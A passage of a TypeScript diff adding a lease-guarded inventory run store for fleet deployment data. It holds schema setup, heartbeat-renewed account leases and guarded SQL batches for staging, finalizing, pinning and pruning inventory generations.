'anchorage_fleet_inventory_deployment_facts'; +const LEASE_TABLE = 'anchorage_fleet_inventory_leases'; +const PIN_TABLE = 'anchorage_fleet_inventory_pins'; +// Duplicated from state-store.ts:132-133 on purpose: that module does not +// export the two integers, and widening its surface for them would couple the +// inventory store to the deployment store for nothing. +const LEASE_TTL_MS = 15 * 60_000; +const LEASE_RENEWAL_INTERVAL_MS = 5 * 60_000; +// Byte-identical to state-store.ts:134. The Wrangler harness lease clock +// rewrites exactly this substring, so every SQL string in this module must +// express database time with this token and no other time expression. +const DB_NOW_MS = "CAST(unixepoch('subsec') * 1000 AS INTEGER)"; +const PRUNE_LIMIT_MAX = 1_000; +const ROW_KIND_CHECK = FLEET_INVENTORY_ROW_KINDS.map( + (kind) => `'${kind}'`, +).join(','); + +type Row = Readonly>; + +const EXPECTED_COLUMNS: Readonly< + Record>> +> = Object.freeze({ + [HEAD_TABLE]: { + account_id: 'TEXT', + active_operation_id: 'TEXT', + latest_finalized_generation: 'INTEGER', + next_generation: 'INTEGER', + }, + [RUN_TABLE]: { + operation_id: 'TEXT', + account_id: 'TEXT', + generation: 'INTEGER', + options_digest: 'TEXT', + run_record: 'TEXT', + created_at_ms: 'INTEGER', + finalized_at_ms: 'INTEGER', + }, + [ROW_TABLE]: { + account_id: 'TEXT', + generation: 'INTEGER', + kind: 'TEXT', + ordinal: 'INTEGER', + payload: 'TEXT', + }, + [FACT_TABLE]: { + account_id: 'TEXT', + generation: 'INTEGER', + deployment_ordinal: 'INTEGER', + fact_kind: 'TEXT', + fact_ordinal: 'INTEGER', + payload: 'TEXT', + }, + [LEASE_TABLE]: { + account_id: 'TEXT', + owner_token: 'TEXT', + expires_at: 'INTEGER', + }, + [PIN_TABLE]: { + account_id: 'TEXT', + generation: 'INTEGER', + pinned_by: 'TEXT', + pinned_at_ms: 'INTEGER', + }, +}); + +export interface D1FleetInventoryRunStoreOptions { + readonly accountId: string; + readonly leaseTtlMs?: number; + readonly leaseRenewalIntervalMs?: number; +} + +function rowText(row: Row | undefined, key: string): string { + const value = row?.[key]; + if (typeof value !== 'string') { + throw new Error(`fleet inventory row has invalid ${key}`); + } + return value; +} + +function rowInteger(row: Row | undefined, key: string): number { + const value = Number(row?.[key]); + if (!Number.isSafeInteger(value)) { + throw new Error(`fleet inventory row has invalid ${key}`); + } + return value; +} + +function optionalInteger( + row: Row | undefined, + key: string, +): number | undefined { + const value = row?.[key]; + if (value === null || value === undefined) return undefined; + return rowInteger(row, key); +} + +function assertGeneration(generation: number): void { + if (!Number.isSafeInteger(generation) || generation < 1) { + throw new Error('generation must be a positive integer'); + } +} + +function assertPinnedBy(pinnedBy: string): void { + if (typeof pinnedBy !== 'string' || pinnedBy.length === 0) { + throw new Error('pinnedBy is required'); + } +} + +function notFinalized(generation: number): Error { + return new Error(`fleet inventory generation ${generation} is not finalized`); +} + +function requiresPin(generation: number): Error { + return new Error( + `fleet inventory generation ${generation} requires a pin before it can be read`, + ); +} + +function corruptGeneration(generation: number): Error { + return new Error(`fleet inventory generation ${generation} is corrupt`); +} + +function unknownRun(operationId: string): Error { + return new Error(`no fleet inventory run for operation '${operationId}'`); +} + +function runConflict(operationId: string): Error { + return new Error( + `fleet inventory run '${operationId}' is no longer at the expected revision`, + ); +} + +function runOptionsConflict(operationId: string): Error { + return new Error( + `fleet inventory run '${operationId}' was started with different options`, + ); +} + +function stagedDivergence(operationId: string): Error { + return new Error( + `fleet inventory run '${operationId}' staged rows diverge from the persisted generation`, + ); +} + +function manifestDisagreement(operationId: string): Error { + return new Error( + `fleet inventory run '${operationId}' finalize manifest disagrees with the persisted run record`, + ); +} + +function manifestMismatch(operationId: string): Error { + return new Error( + `fleet inventory run '${operationId}' does not match its finalize manifest`, + ); +} + +function sameCounts( + left: Readonly>, + right: Readonly>, +): boolean { + return FLEET_INVENTORY_ROW_KINDS.every((kind) => left[kind] === right[kind]); +} + +/** + * Durable account inventory run store over the fleet state database port. The + * account is trusted configuration, never a per-call argument, and every + * multi-statement mutation is one guarded batch whose guards make a partial + * application impossible. + */ +export class D1FleetInventoryRunStore implements FleetInventoryRunStore { + readonly #db: FleetStateDatabase; + readonly #accountId: string; + readonly #leaseTtlMs: number; + readonly #leaseRenewalIntervalMs: number; + #schemaReady: Promise | undefined; + + constructor( + db: FleetStateDatabase, + options: D1FleetInventoryRunStoreOptions, + ) { + this.#db = db; + if (!options.accountId) throw new Error('accountId is required'); + this.#accountId = options.accountId; + this.#leaseTtlMs = options.leaseTtlMs ?? LEASE_TTL_MS; + this.#leaseRenewalIntervalMs = + options.leaseRenewalIntervalMs ?? LEASE_RENEWAL_INTERVAL_MS; + if (!Number.isSafeInteger(this.#leaseTtlMs) || this.#leaseTtlMs < 1) { + throw new Error('leaseTtlMs must be a positive integer'); + } + if ( + !Number.isSafeInteger(this.#leaseRenewalIntervalMs) || + this.#leaseRenewalIntervalMs < 1 || + this.#leaseRenewalIntervalMs >= this.#leaseTtlMs + ) { + throw new Error( + 'leaseRenewalIntervalMs must be a positive integer below leaseTtlMs', + ); + } + } + + async #ensureSchema(): Promise { + const pending = this.#schemaReady ?? this.#initializeSchema(); + this.#schemaReady = pending; + try { + await pending; + } catch (error) { + if (this.#schemaReady === pending) this.#schemaReady = undefined; + throw error; + } + } + + async #initializeSchema(): Promise { + await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${HEAD_TABLE} ( + account_id TEXT PRIMARY KEY, + active_operation_id TEXT, + latest_finalized_generation INTEGER, + next_generation INTEGER NOT NULL + )`); + await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${RUN_TABLE} ( + operation_id TEXT PRIMARY KEY, + account_id TEXT NOT NULL, + generation INTEGER NOT NULL, + options_digest TEXT NOT NULL, + run_record TEXT NOT NULL, + created_at_ms INTEGER NOT NULL, + finalized_at_ms INTEGER, + UNIQUE (account_id, generation) + )`); + await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${ROW_TABLE} ( + account_id TEXT NOT NULL, + generation INTEGER NOT NULL, + kind TEXT NOT NULL CHECK (kind IN (${ROW_KIND_CHECK})), + ordinal INTEGER NOT NULL, + payload TEXT NOT NULL, + PRIMARY KEY (account_id, generation, kind, ordinal) + )`); + await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${FACT_TABLE} ( + account_id TEXT NOT NULL, + generation INTEGER NOT NULL, + deployment_ordinal INTEGER NOT NULL, + fact_kind TEXT NOT NULL, + fact_ordinal INTEGER NOT NULL, + payload TEXT NOT NULL, + PRIMARY KEY (account_id, generation, deployment_ordinal, fact_kind, fact_ordinal) + )`); + await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${LEASE_TABLE} ( + account_id TEXT PRIMARY KEY, + owner_token TEXT NOT NULL, + expires_at INTEGER NOT NULL + )`); + await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${PIN_TABLE} ( + account_id TEXT NOT NULL, + generation INTEGER NOT NULL, + pinned_by TEXT NOT NULL, + pinned_at_ms INTEGER NOT NULL, + PRIMARY KEY (account_id, generation, pinned_by) + )`); + // These tables are new, so there is no ALTER path: a column that is absent + // or of the wrong type means someone else owns the name, and a write would + // silently drop values rather than fail. + for (const [table, columns] of Object.entries(EXPECTED_COLUMNS)) { + const present = await this.#db.query(`PRAGMA table_info(${table})`); + for (const [name, type] of Object.entries(columns)) { + const column = present.find((candidate) => candidate.name === name); + if (!column || String(column.type).toUpperCase() !== type) { + throw new Error( + `fleet inventory table '${table}' column '${name}' is absent or incompatible`, + ); + } + } + } + } + + #leaseExists(): string { + return `EXISTS (SELECT 1 FROM ${LEASE_TABLE} + WHERE account_id = ? AND owner_token = ? AND expires_at > ${DB_NOW_MS})`; + } + + #leaseBindings(token: string): readonly unknown[] { + return [this.#accountId, token]; + } + + #contention(): Error { + return new Error( + `fleet inventory for account '${this.#accountId}' is already being modified`, + ); + } + + #leaseLost(): Error { + return new Error( + `fleet inventory for account '${this.#accountId}' lease is no longer owned by this operation`, + ); + } + + #headContention(operationId: string): Error { + return new Error( + `fleet inventory for account '${this.#accountId}' has an active operation other than '${operationId}'`, + ); + } + + /** + * Acquires the account inventory lease, runs the operation with a renewing + * heartbeat, and releases it. Every run mutation, pin, release, and prune + * happens through the lease this passes to the operation. + */ + async withAccountInventoryLease( + operation: (lease: FleetInventoryLease) => Promise, + ): Promise { + await this.#ensureSchema(); + const token = randomUUID(); + const claimed = await this.#db.query( + `INSERT INTO ${LEASE_TABLE} ( + account_id, owner_token, expires_at + ) VALUES (?, ?, ${DB_NOW_MS} + ?) + ON CONFLICT (account_id) DO UPDATE SET + owner_token = excluded.owner_token, + expires_at = excluded.expires_at + WHERE ${LEASE_TABLE}.expires_at <= ${DB_NOW_MS} + RETURNING owner_token, expires_at`, + [this.#accountId, token, this.#leaseTtlMs], + ); + if (claimed.length !== 1 || claimed[0]?.owner_token !== token) { + throw this.#contention(); + } + return this.#runRenewingLease({ + label: `fleet inventory for account '${this.#accountId}'`, + renew: () => this.#renewLease(token), + release: async () => { + const released = await this.#db.query( + `DELETE FROM ${LEASE_TABLE} + WHERE account_id = ? AND owner_token = ? + RETURNING owner_token`, + [this.#accountId, token], + ); + if (released.length !== 1 || released[0]?.owner_token !== token) { + throw this.#leaseLost(); + } + }, + createLease: (assertOwned) => ({ + assertOwned, + startRun: (input) => this.#startRun(token, input), + readRun: (operationId) => this.readRunByOperation(operationId), + commitChunk: (input) => this.#commitChunk(token, input), + finalizeRun: (input) => this.#finalizeRun(token, input), + failRun: (input) => this.#failRun(token, input), + pinGeneration: (input) => this.#pinGeneration(token, input), + releasePin: (input) => this.#releasePin(token, input), + pruneInventoryGenerations: (input) => + this.#pruneGenerations(token, input), + }), + operation, + }); + } + + async #runRenewingLease(options: { + readonly label: string; + readonly renew: () => Promise; + readonly release: () => Promise; + readonly createLease: ( + assertOwned: () => Promise, + ) => FleetInventoryLease; + readonly operation: (lease: FleetInventoryLease) => Promise; + }): Promise { + const heartbeatAbort = new AbortController(); + const renewalErrors: unknown[] = []; + const assertOwned = async () => { + const heartbeatError = renewalErrors[0]; + if (heartbeatError !== undefined) { + throw new Error(`${options.label} heartbeat failed`, { + cause: heartbeatError, + }); + } + await options.renew(); + }; + const lease = options.createLease(assertOwned); + const heartbeat = this.#renewUntilAborted( + options.renew, + heartbeatAbort.signal, + ).catch((error: unknown) => { + renewalErrors.push(error); + }); + + let operationFailed = false; + let operationError: unknown; + let outcome: { readonly value: T } | undefined; + try { + outcome = { value: await options.operation(lease) }; + } catch (error) { + operationFailed = true; + operationError = error; + } + + heartbeatAbort.abort(); + await heartbeat; + if (!operationFailed && renewalErrors.length === 0) { + try { + await assertOwned(); + } catch (error) { + renewalErrors.push(error); + } + } + + let releaseFailed = false; + let releaseError: unknown; + try { + await options.release(); + } catch (error) { + releaseFailed = true; + releaseError = error; + } + + const errors: unknown[] = []; + if (operationFailed) errors.push(operationError); + errors.push(...renewalErrors); + if (releaseFailed) errors.push(releaseError); + if (errors.length === 1) throw errors[0]; + if (errors.length > 1) { + throw new AggregateError( + errors, + `${options.label} operation and lease cleanup failed`, + ); + } + if (!outcome) throw new Error(`${options.label} operation had no outcome`); + return outcome.value; + } + + async #renewUntilAborted( + renew: () => Promise, + signal: AbortSignal, + ): Promise { + while (await this.#waitForRenewal(signal)) { + await renew(); + } + } + + #waitForRenewal(signal: AbortSignal): Promise { + if (signal.aborted) return Promise.resolve(false); + return new Promise((resolve) => { + const timeout = setTimeout( + () => finish(true), + this.#leaseRenewalIntervalMs, + ); + const aborted = () => finish(false); + const finish = (renew: boolean) => { + clearTimeout(timeout); + signal.removeEventListener('abort', aborted); + resolve(renew); + }; + signal.addEventListener('abort', aborted, { once: true }); + }); + } + + async #renewLease(token: string): Promise { + const renewed = await this.#db.query( + `UPDATE ${LEASE_TABLE} + SET expires_at = ${DB_NOW_MS} + ? + WHERE account_id = ? AND owner_token = ? + AND expires_at > ${DB_NOW_MS} + RETURNING owner_token, expires_at`, + [this.#leaseTtlMs, this.#accountId, token], + ); + if (renewed.length !== 1 || renewed[0]?.owner_token !== token) { + throw this.#leaseLost(); + } + } + + async #startRun( + token: string, + input: Readonly<{ + operationId: string; + options: FleetInventoryRunOptions; + optionsDigest: string; + }>, + ): Promise { + const { operationId, options, optionsDigest } = input; + // progress.generation is only known inside the batch, so it is seeded here + // and set from SQL by statement 3. + const seeded: FleetInventoryRunRecord = { + version: 1, + operationId, + optionsDigest, + options, + state: 'staging', + progress: { + stage: initialFleetInventoryStage(options), + generation: 1, + revision: 0, + stagedCounts: emptyFleetInventoryRowCounts(), + factCount: 0, + providerRequests: 0, + }, + // The store invents no wall-clock time: database time is the only clock + // it may read, and the epoch stamp is replaced by the first commit whose + // record the coordinator supplies. + updatedAt: new Date(0).toISOString(), + }; + const claimed = await this.#db.batch([ + { + sql: `INSERT INTO ${HEAD_TABLE} ( + account_id, active_operation_id, latest_finalized_generation, next_generation + ) VALUES (?, NULL, NULL, 1) + ON CONFLICT (account_id) DO NOTHING`, + bindings: [this.#accountId], + }, + { + sql: `UPDATE ${HEAD_TABLE} + SET active_operation_id = ?, + next_generation = next_generation + + CASE WHEN active_operation_id = ? THEN 0 ELSE 1 END + WHERE account_id = ? + AND (active_operation_id = ? + OR (active_operation_id IS NULL + AND NOT EXISTS (SELECT 1 FROM ${RUN_TABLE} + WHERE account_id = ? AND operation_id = ?))) + AND ${this.#leaseExists()} + RETURNING next_generation, active_operation_id`, + bindings: [ + operationId, + operationId, + this.#accountId, + operationId, + this.#accountId, + operationId, + ...this.#leaseBindings(token), + ], + }, + { + sql: `INSERT INTO ${RUN_TABLE} ( + operation_id, account_id, generation, options_digest, run_record, created_at_ms + ) + SELECT ?, ?, h.next_generation - 1, ?, + json_set(?, '$.progress.generation', h.next_generation - 1), + ${DB_NOW_MS} + FROM ${HEAD_TABLE} h + WHERE h.account_id = ? AND h.active_operation_id = ? + ON CONFLICT (operation_id) DO NOTHING + RETURNING operation_id, generation`, + bindings: [ + operationId, + this.#accountId, + optionsDigest, + JSON.stringify(seeded), + this.#accountId, + operationId, + ], + }, + ]); + // Statement 2's zero-row result IS asserted. Statement 3's is NOT, because a + // replayed start legitimately returns no rows from its DO NOTHING; the + // readback below adjudicates instead. + const head = claimed[1] ?? []; + const claimedHead = + head.length === 1 && head[0]?.active_operation_id === operationId; + const persisted = await this.#db.query( + `SELECT operation_id, options_digest, run_record + FROM ${RUN_TABLE} + WHERE operation_id = ? AND account_id = ?`, + [operationId, this.#accountId], + ); + const row = persisted[0]; + if (!claimedHead && !row) throw this.#headContention(operationId); + if (!row) throw unknownRun(operationId); + if (rowText(row, 'options_digest') !== optionsDigest) { + throw runOptionsConflict(operationId); + } + const record = fleetInventoryRunRecordFromUnknown( + JSON.parse(rowText(row, 'run_record')), + ); + // Statement 2 wrote nothing while this operation's run exists: either the + // run already completed, in which case the replay is idempotent and must not + // re-reserve the head or burn a generation, or a foreign operation owns the + // head while this run is still unfinished, which is contention. + if (!claimedHead && record.state === 'staging') { + throw this.#headContention(operationId); + } + return record; + } + + async readRunByOperation( + operationId: string, + ): Promise { + await this.#ensureSchema(); + const rows = await this.#db.query( + `SELECT run_record FROM ${RUN_TABLE} + WHERE operation_id = ? AND account_id = ?`, + [operationId, this.#accountId], + ); + const row = rows[0]; + if (!row) return undefined; + return fleetInventoryRunRecordFromUnknown( + JSON.parse(rowText(row, 'run_record')), + ); + } + + async #commitChunk( + token: string, + input: Readonly<{ + operationId: string; + expectedRevision: number; + runRecord: FleetInventoryRunRecord; + rows: readonly FleetInventoryStagedRow[]; + facts: readonly FleetInventoryStagedFact[]; + }>, + ): Promise { + const { operationId, expectedRevision } = input; + const runRecord = fleetInventoryRunRecordFromUnknown(input.runRecord); + const rows = input.rows.map(fleetInventoryStagedRowFromUnknown); + const facts = input.facts.map(fleetInventoryStagedFactFromUnknown); + if ( + runRecord.operationId !== operationId || + runRecord.state !== 'staging' || + runRecord.progress.revision !== expectedRevision + 1 + ) { + throw runConflict(operationId); + } + const generation = runRecord.progress.generation; + const rowPayloads = new Map( + rows.map((row) => [ + `${row.kind}:${row.ordinal}`, + JSON.stringify(row.payload), + ]), + ); + const factPayloads = new Map( + facts.map((fact) => [ + `${fact.deploymentOrdinal}:${fact.factKind}:${fact.factOrdinal}`, + JSON.stringify(fact.payload), + ]), + ); + // Every staging insert carries the SAME lease, state, and PRE-update + // revision guard as the run update, so all statements stand or fall + // together. An unguarded insert would let a stale-lease or losing writer + // land bytes that a later legitimate commit cannot overwrite (DO NOTHING), + // poisoning payloads while the per-kind counts still match the manifest. + const stagingGuard = `FROM ${RUN_TABLE} r + WHERE r.operation_id = ? + AND json_extract(r.run_record, '$.state') = 'staging' + AND json_extract(r.run_record, '$.progress.revision') = ? + AND ${this.#leaseExists()}`; + const stagingGuardBindings = [ + operationId, + expectedRevision, + ...this.#leaseBindings(token), + ]; + const updated = await this.#db.batch([ + ...rows.map((row) => ({ + sql: `INSERT INTO ${ROW_TABLE} ( + account_id, generation, kind, ordinal, payload + ) + SELECT ?, ?, ?, ?, ? + ${stagingGuard} + ON CONFLICT (account_id, generation, kind, ordinal) DO NOTHING + RETURNING kind, ordinal`, + bindings: [ + this.#accountId, + generation, + row.kind, + row.ordinal, + rowPayloads.get(`${row.kind}:${row.ordinal}`), + ...stagingGuardBindings, + ], + })), + ...facts.map((fact) => ({ + sql: `INSERT INTO ${FACT_TABLE} ( + account_id, generation, deployment_ordinal, fact_kind, fact_ordinal, payload + ) + SELECT ?, ?, ?, ?, ?, ? + ${stagingGuard} + ON CONFLICT ( + account_id, generation, deployment_ordinal, fact_kind, fact_ordinal + ) DO NOTHING + RETURNING fact_kind, fact_ordinal`, + bindings: [ + this.#accountId, + generation, + fact.deploymentOrdinal, + fact.factKind, + fact.factOrdinal, + factPayloads.get( + `${fact.deploymentOrdinal}:${fact.factKind}:${fact.factOrdinal}`, + ), + ...stagingGuardBindings, + ], + })), + { + sql: `UPDATE ${RUN_TABLE} + SET run_record = ? + WHERE operation_id = ? + AND json_extract(run_record, '$.state') = 'staging' + AND json_extract(run_record, '$.progress.revision') = ? + AND ${this.#leaseExists()} + RETURNING operation_id`, + bindings: [ + JSON.stringify(runRecord), + operationId, + expectedRevision, + ...this.#leaseBindings(token), + ], + }, + ]); + const written = updated.at(-1) ?? []; + if (written.length === 1 && written[0]?.operation_id === operationId) { + return runRecord; + } + // Convergence must re-query the persisted record and the stored bytes. The + // inserts' RETURNING output proves nothing either way: a DO NOTHING insert + // whose row already exists returns no rows, and a guard miss returns no rows + // without failing the batch. + return this.#commitConverged({ + operationId, + generation, + revision: runRecord.progress.revision, + rowPayloads, + factPayloads, + }); + } + + async #commitConverged( + input: Readonly<{ + operationId: string; + generation: number; + revision: number; + rowPayloads: ReadonlyMap; + factPayloads: ReadonlyMap; + }>, + ): Promise { + const { operationId, generation } = input; + const storedRows = await this.#db.query( + `SELECT kind, ordinal, payload FROM ${ROW_TABLE} + WHERE account_id = ? AND generation = ?`, + [this.#accountId, generation], + ); + const storedFacts = await this.#db.query( + `SELECT deployment_ordinal, fact_kind, fact_ordinal, payload + FROM ${FACT_TABLE} + WHERE account_id = ? AND generation = ?`, + [this.#accountId, generation], + ); + const rowBytes = new Map( + storedRows.map((row) => [ + `${rowText(row, 'kind')}:${rowInteger(row, 'ordinal')}`, + rowText(row, 'payload'), + ]), + ); + const factBytes = new Map( + storedFacts.map((row) => [ + `${rowInteger(row, 'deployment_ordinal')}:${rowText(row, 'fact_kind')}:${rowInteger(row, 'fact_ordinal')}`, + rowText(row, 'payload'), + ]), + ); + let complete = true; + for (const [key, payload] of input.rowPayloads) { + const stored = rowBytes.get(key); + if (stored === undefined) complete = false; + else if (stored !== payload) throw stagedDivergence(operationId); + } + for (const [key, payload] of input.factPayloads) { + const stored = factBytes.get(key); + if (stored === undefined) complete = false; + else if (stored !== payload) throw stagedDivergence(operationId); + } + const persisted = await this.readRunByOperation(operationId); + if (!persisted) throw unknownRun(operationId); + if (complete && persisted.progress.revision === input.revision) { + return persisted; + } + throw runConflict(operationId); + } + + async #finalizeRun( + token: string, + input: Readonly<{ + operationId: string; + expectedRevision: number; + manifest: Readonly>; + factCount: number; + }>, + ): Promise { + const { operationId, expectedRevision, manifest, factCount } = input; + const persisted = await this.readRunByOperation(operationId); + if (!persisted) throw unknownRun(operationId); + const generation = persisted.progress.generation; + if (persisted.state === 'failed') throw runConflict(operationId); + if (persisted.state === 'staging') { + // The counts the guard compares are the PERSISTED record's own, so a + // caller cannot finalize a generation whose run record describes different + // counts than its rows; the caller's arguments only have to agree. + const stagedCounts = persisted.progress.stagedCounts; + if ( + !sameCounts(manifest, stagedCounts) || + factCount !== persisted.progress.factCount + ) { + throw manifestDisagreement(operationId); + } + const finalized: FleetInventoryRunRecord = { + ...persisted, + state: 'finalized', + }; + const total = FLEET_INVENTORY_ROW_KINDS.reduce( + (sum, kind) => sum + stagedCounts[kind], + 0, + ); + await this.#db.batch([ + { + sql: `UPDATE ${RUN_TABLE} + SET run_record = ?, finalized_at_ms = ${DB_NOW_MS} + WHERE operation_id = ? + AND json_extract(run_record, '$.progress.revision') = ? + AND json_extract(run_record, '$.state') = 'staging' + AND ${this.#leaseExists()} + AND (SELECT COUNT(*) FROM ${FACT_TABLE} + WHERE account_id = ? AND generation = ?) = ? + AND (SELECT COUNT(*) FROM ${ROW_TABLE} + WHERE account_id = ? AND generation = ?) = ? + ${FLEET_INVENTORY_ROW_KINDS.map( + (kind) => `AND (SELECT COUNT(*) FROM ${ROW_TABLE} + WHERE account_id = ? AND generation = ? AND kind = '${kind}') = ?`, + ).join('\n ')} + RETURNING generation, finalized_at_ms`, + bindings: [ + JSON.stringify(finalized), + operationId, + expectedRevision, + ...this.#leaseBindings(token), + this.#accountId, + generation, + persisted.progress.factCount, + this.#accountId, + generation, + total, + ...FLEET_INVENTORY_ROW_KINDS.flatMap((kind) => [ + this.#accountId, + generation, + stagedCounts[kind], + ]), + ], + }, + { + sql: `UPDATE ${HEAD_TABLE} + SET latest_finalized_generation = ?, active_operation_id = NULL + WHERE account_id = ? AND active_operation_id = ? + AND ${this.#leaseExists()} + AND EXISTS (SELECT 1 FROM ${RUN_TABLE} + WHERE operation_id = ? AND finalized_at_ms IS NOT NULL + AND json_extract(run_record, '$.state') = 'finalized') + RETURNING latest_finalized_generation`, + bindings: [ + generation, + this.#accountId, + operationId, + ...this.#leaseBindings(token), + operationId, + ], + }, + ]); + } + // The batch is a PROBE: a lost-response replay returns zero rows from both + // statements, so the run row and the head are the only authority. + const run = await this.#db.query( + `SELECT run_record, finalized_at_ms FROM ${RUN_TABLE} + WHERE operation_id = ? AND account_id = ?`, + [operationId, this.#accountId], + ); + const runRow = run[0]; + if (!runRow) throw unknownRun(operationId); + const record = fleetInventoryRunRecordFromUnknown( + JSON.parse(rowText(runRow, 'run_record')), + ); + const finalizedAtMs = optionalInteger(runRow, 'finalized_at_ms'); + if (record.state !== 'finalized' || finalizedAtMs === undefined) { + if (record.progress.revision !== expectedRevision) { + throw runConflict(operationId); + } + throw manifestMismatch(operationId); + } + const head = await this.#headRow(); + if (optionalInteger(head, 'latest_finalized_generation') !== generation) { + // The only legal repair: statement 2 alone is idempotent and writes no + // generation data. + await this.#db.query( + `UPDATE ${HEAD_TABLE} + SET latest_finalized_generation = ?, active_operation_id = NULL + WHERE account_id = ? + AND ${this.#leaseExists()} + AND EXISTS (SELECT 1 FROM ${RUN_TABLE} + WHERE operation_id = ? AND finalized_at_ms IS NOT NULL + AND json_extract(run_record, '$.state') = 'finalized') + RETURNING latest_finalized_generation`, + [ + generation, + this.#accountId, + ...this.#leaseBindings(token), + operationId, + ], + ); + } + return { + generation, + operationId, + finalizedAtMs, + rowManifest: record.progress.stagedCounts, + factCount: record.progress.factCount, + }; + } + + async #failRun( + token: string, + input: Readonly<{ + operationId: string; + expectedRevision: number; + reason: FleetInventoryFailureReason; + }>, + ): Promise { + const { operationId, expectedRevision, reason } = input; + if (!FLEET_INVENTORY_FAILURE_REASONS.includes(reason)) { + throw new Error('fleet inventory failure reason is not recognized'); + } + const persisted = await this.readRunByOperation(operationId); + if (!persisted) throw unknownRun(operationId); + if (persisted.state === 'staging') { + const failed: FleetInventoryRunRecord = { + ...persisted, + state: 'failed', + }; + await this.#db.batch([ + { + sql: `UPDATE ${RUN_TABLE} + SET run_record = ? + WHERE operation_id = ? + AND json_extract(run_record, '$.state') = 'staging' + AND json_extract(run_record, '$.progress.revision') = ? + AND ${this.#leaseExists()} + RETURNING operation_id`, + bindings: [ + JSON.stringify(failed), + operationId, + expectedRevision, + ...this.#leaseBindings(token), + ], + }, + { + sql: `UPDATE ${HEAD_TABLE} + SET active_operation_id = NULL + WHERE account_id = ? AND active_operation_id = ? + AND ${this.#leaseExists()} + AND EXISTS (SELECT 1 FROM ${RUN_TABLE} + WHERE operation_id = ? + AND json_extract(run_record, '$.state') = 'failed') + RETURNING account_id`, + bindings: [ + this.#accountId, + operationId, + ...this.#leaseBindings(token), + operationId, + ], + }, + ]); + } + const readback = await this.readRunByOperation(operationId); + if (readback?.state !== 'failed') throw runConflict(operationId); + } + + async #headRow(): Promise { + const rows = await this.#db.query( + `SELECT active_operation_id, latest_finalized_generation, next_generation + FROM ${HEAD_TABLE} WHERE account_id = ?`, + [this.#accountId], + ); + return rows[0]; + } + + async #pinGeneration( + token: string, + input: Readonly<{ generation: number; pinnedBy: string }>, + ): Promise { + const { generation, pinnedBy } = input; + assertGeneration(generation); + assertPinnedBy(pinnedBy); + await this.#assertFinalized(generation); + await this.#db.batch([ + { + sql: `INSERT INTO ${PIN_TABLE} ( + account_id, generation, pinned_by, pinned_at_ms + ) + SELECT ?, ?, ?, ${DB_NOW_MS} + WHERE ${this.#leaseExists()} + ON CONFLICT (account_id, generation, pinned_by) DO NOTHING + RETURNING generation`, + bindings: [ + this.#accountId, + generation, + pinnedBy, + ...this.#leaseBindings(token), + ], + }, + ]); + if (!(await this.#pinned(generation, pinnedBy))) throw this.#leaseLost(); + } + + async #releasePin( + token: string, + input: Readonly<{ generation: number; pinnedBy: string }>, + ): Promise { + const { generation, pinnedBy } = input; + assertGeneration(generation); + assertPinnedBy(pinnedBy); + await this.#db.batch([ + { + sql: `DELETE FROM ${PIN_TABLE} + WHERE account_id = ? AND generation = ? AND pinned_by = ? + AND ${this.#leaseExists()} + RETURNING generation`, + bindings: [ + this.#accountId, + generation, + pinnedBy, + ...this.#leaseBindings(token), + ], + }, + ]); + if (await this.#pinned(generation, pinnedBy)) throw this.#leaseLost(); + } + + async #pinned(generation: number, pinnedBy: string): Promise { + const rows = await this.#db.query( + `SELECT generation FROM ${PIN_TABLE} + WHERE account_id = ? AND generation = ? AND pinned_by = ?`, + [this.#accountId, generation, pinnedBy], + ); + return rows.length > 0; + } + + async #assertFinalized(generation: number): Promise { + const rows = await this.#db.query( + `SELECT operation_id FROM ${RUN_TABLE} + WHERE account_id = ? AND generation = ? + AND finalized_at_ms IS NOT NULL + AND json_extract(run_record, '$.state') = 'finalized'`, + [this.#accountId, generation], + ); + if (rows.length !== 1) throw notFinalized(generation); + } + + async #pruneGenerations( + token: string, + input: Readonly<{ limit: number }>, + ): Promise> { + const { limit } = input; + if (!Number.isSafeInteger(limit) || limit < 1 || limit > PRUNE_LIMIT_MAX) { + throw new Error(`limit must be an integer from 1 to ${PRUNE_LIMIT_MAX}`); + } + const candidates = await this.#db.query( + `SELECT generation FROM ${RUN_TABLE} r + WHERE r.account_id = ? + AND (r.finalized_at_ms IS NOT NULL + OR json_extract(r.run_record, '$.state') = 'failed') + AND NOT EXISTS (SELECT 1 FROM ${HEAD_TABLE} + WHERE account_id = r.account_id + AND latest_finalized_generation = r.generation) + AND NOT EXISTS (SELECT 1 FROM ${PIN_TABLE} + WHERE account_id = r.account_id AND generation = r.generation) + ORDER BY r.generation ASC + LIMIT ?`, + [this.#accountId, limit], + ); + let deleted = 0; + for (const candidate of candidates) { + const generation = rowInteger(candidate, 'generation'); + // The pin and latest re-checks live inside the delete batch, so a pin + // committed after candidate selection still wins. + const guard = `AND NOT EXISTS (SELECT 1 FROM ${PIN_TABLE} + WHERE account_id = ? AND generation = ?) + AND NOT EXISTS (SELECT 1 FROM ${HEAD_TABLE} + WHERE account_id = ? AND latest_finalized_generation = ?) + AND ${this.#leaseExists()}`; + const guardBindings = [ + this.#accountId, + generation, + this.#accountId, + generation, + ...this.#leaseBindings(token), + ]; + const results = await this.#db.batch([ + { + sql: `DELETE FROM ${ROW_TABLE} + WHERE account_id = ? AND generation = ? + ${guard} + RETURNING ordinal`, + bindings: [this.#accountId, generation, ...guardBindings], + }, + { + sql: `DELETE FROM ${FACT_TABLE} + WHERE account_id = ? AND generation = ? + ${guard} + RETURNING fact_ordinal`, + bindings: [this.#accountId, generation, ...guardBindings], + }, + { + sql: `DELETE FROM ${RUN_TABLE} + WHERE account_id = ? AND generation = ? + ${guard} + RETURNING generation`, + bindings: [this.#accountId, generation, ...guardBindings], + }, + ]); + deleted += (results.at(-1) ?? []).length; + } + return { deleted }; + } + + async latestFinalizedGeneration(): Promise< + FleetInventoryGenerationRef | undefined + > { + await this.#ensureSchema(); + const latest = optionalInteger( + await this.#headRow(), + 'latest_finalized_generation', + ); + if (latest === undefined) return undefined; + return (await this.#finalizedRef(latest)).ref; + } + + /** + * Reads one finalized generation. Only the latest finalized generation, or a + * generation an operator pinned first, is readable; a partial, failed, or + * corrupt generation is structurally unreadable. + */ + async readFinalizedGeneration( + generation: number, + ): Promise { + assertGeneration(generation); + await this.#ensureSchema(); + const latest = optionalInteger( + await this.#headRow(), + 'latest_finalized_generation', + ); + if (latest !== generation) { + const pins = await this.#db.query( + 